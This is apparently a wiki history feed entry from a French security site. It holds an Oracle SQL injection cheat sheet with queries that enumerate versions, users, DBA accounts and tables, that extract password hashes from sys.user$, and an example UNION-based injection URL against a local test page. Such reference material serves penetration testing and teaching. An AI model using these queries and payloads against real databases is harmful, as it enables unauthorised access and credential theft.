https://futex.re/mediawiki/index.php?action=history&feed=atom&title=1.1_Exemples_pratiques_PL%2FSQL 2026-05-21T14:41:38Z Historique des versions pour cette page sur le wiki MediaWiki 1.39.17 https://futex.re/mediawiki/index.php?title=1.1_Exemples_pratiques_PL/SQL&diff=1183&oldid=prev 2012-04-26T16:20:19Z

<p>Page créée avec « Version SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance; Cu… »</p> <p><b>Nouvelle page</b></p><div>Version <br /> SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’;<br /> SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;<br /> SELECT version FROM v$instance; <br /> <br /> Current User<br /> SELECT user FROM dual<br /> List Users <br /> SELECT username FROM all_users ORDER BY username;<br /> SELECT name FROM sys.user$; — priv<br /> List Password Hashes<br /> SELECT name, password, astatus FROM sys.user$ — priv, &lt;= 10g. astatus tells you if acct is locked<br /> SELECT name,spare4 FROM sys.user$ — priv, 11g<br /> <br /> List DBA Accounts<br /> SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles<br /> <br /> List Databases <br /> SELECT DISTINCT owner FROM all_tables; — list schemas (one per user)<br /> – Also query TNS listener for other databases. See tnscmd (services | status).<br /> List Columns <br /> SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;<br /> SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;<br /> List Tables <br /> SELECT table_name FROM all_tables;<br /> SELECT owner, table_name FROM all_tables;<br /> <br /> String Concatenation <br /> SELECT ‘A’ || ‘B’ FROM dual; — returns AB<br /> <br /> Location of DB files <br /> SELECT name FROM V$DATAFILE;<br /> <br /> Default/System Databases <br /> SYSTEM<br /> SYSAUX<br /> <br /> Exemple d&#039;intégration listant les users<br /> http://127.0.0.1/sqlinjection/ora.php?id=-101%20UNION%20ALL%20SELECT%20(SELECT%20user%20FROM%20dual)%20FROM%20DUAL</div>

Futex